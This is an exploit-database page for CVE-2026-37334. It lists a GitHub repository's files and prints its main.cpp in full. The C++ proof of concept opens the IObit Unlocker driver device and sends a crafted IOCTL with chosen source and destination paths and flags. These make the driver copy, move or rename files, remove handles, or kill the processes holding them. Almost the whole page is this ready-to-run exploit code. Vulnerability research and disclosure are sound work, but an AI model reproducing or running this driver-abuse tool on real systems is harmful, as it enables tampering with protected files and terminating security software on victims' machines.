Exploit databaseDownload repository ZIP
GH-e0c59324a49300a06bf63d256cbba886
nasawyer7/iobitunlockerunlocker
Sources for CVE-2026-37334
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files9
nasawyer7/iobitunlockerunlockerRevision 0870de694733
- ↑..Parent directory
- PropertySheet.props
- driverhandlerchecker.vcxproj
- driverhandlerchecker.vcxproj.filters
- driverhandlerchecker_TemporaryKey.pfx
- main.cpp
- packages.config
- pch.cpp
- pch.h
- readme.txt
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
driverhandlerchecker/main.cpp
Suggested starting fileC++ · 3,119 bytes#include <windows.h>
#include <iostream>
#include <cstdio>
#include <shellapi.h>
#define IOCTL_UNLOCKER_SINGLE 0x222124
#define BUFFER_SIZE 1064
#define PATH_MAX_CHARS 264
#pragma pack(push, 1)
struct DriverCopyPayload {
wchar_t SourcePath[264]; // Offset 0x000
wchar_t DestPath[264]; // Offset 0x210 (approx)
DWORD OperationSubtype; // Offset 0x420 - (2=rename, 3=copy, 4=move)
DWORD OperationFlags; // Offset 0x424 - (1=Unlock/Delete, 4=Copy, etc)
};
#pragma pack(pop)
void PrintUsage() {
std::printf("Usage: UnlockerCLI.exe <SourcePath> <DestPath> <Subtype> <Flags>\n");
std::printf("Example: UnlockerCLI.exe \"C:\\Path With Space\\file.txt\" \"C:\\backup\\file.txt\" 3 (subtype) 5 (operation flag)\n");
std::printf("Subtypes: (at least the ones i use) 3=move, 4=copy\n");
std::printf("Operation Flags: 0=Do not remove handle, 1 = remove handles, 2 = kill processes with handles, 4 = kill processes and remove handles, 5??? experiement.\n");
}
int wmain(int argc, wchar_t* argv[]) {
// 1. Validate Arguments
if (argc < 5) {
PrintUsage();
return 1;
}
// Parse CLI args
const wchar_t* srcPath = argv[1];
const wchar_t* dstPath = argv[2];
DWORD opSubtype = std::wcstoul(argv[3], nullptr, 10);
DWORD opFlags = std::wcstoul(argv[4], nullptr, 10);
// 2. Open Driver Handle
const wchar_t* devicePath = L"\\\\.\\IObitUnlockerDevice";
HANDLE device = CreateFileW(devicePath, GENERIC_WRITE | GENERIC_READ, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
if (device == INVALID_HANDLE_VALUE) {
std::printf("Error: Failed to open driver. Code: %lu\n", GetLastError());
return 1;
}
// 3. Prepare Payload
DriverCopyPayload payload = { 0 };
wcscpy_s(payload.SourcePath, PATH_MAX_CHARS, srcPath);
wcscpy_s(payload.DestPath, PATH_MAX_CHARS, dstPath);
payload.OperationSubtype = opSubtype;
payload.OperationFlags = opFlags;
std::printf("--- Sending Request ---\n");
std::wprintf(L"Source: %s\n", payload.SourcePath);
std::wprintf(L"Dest: %s\n", payload.DestPath);
std::printf("Subtype: %u | Flags: %u\n", payload.OperationSubtype, payload.OperationFlags);
// 4. Send IOCTL
DWORD bytesReturned = 0;
BOOL bResult = DeviceIoControl(
device,
IOCTL_UNLOCKER_SINGLE,
&payload,
BUFFER_SIZE,
&payload,
BUFFER_SIZE,
&bytesReturned,
nullptr
);
// 5. Handle Results
if (!bResult) {
std::printf("IOCTL Failed. Error: 0x%08lx\n", GetLastError());
}
else {
std::printf("IOCTL Succeeded. Driver returned %lu bytes.\n", bytesReturned);
// Quick verification of destination
DWORD attr = GetFileAttributesW(dstPath);
if (attr != INVALID_FILE_ATTRIBUTES) {
std::printf("Verification: Target file exists/accessible.\n");
}
else {
std::printf("Verification: Target file not found (Error %lu).\n", GetLastError());
}
}
CloseHandle(device);
return 0;
}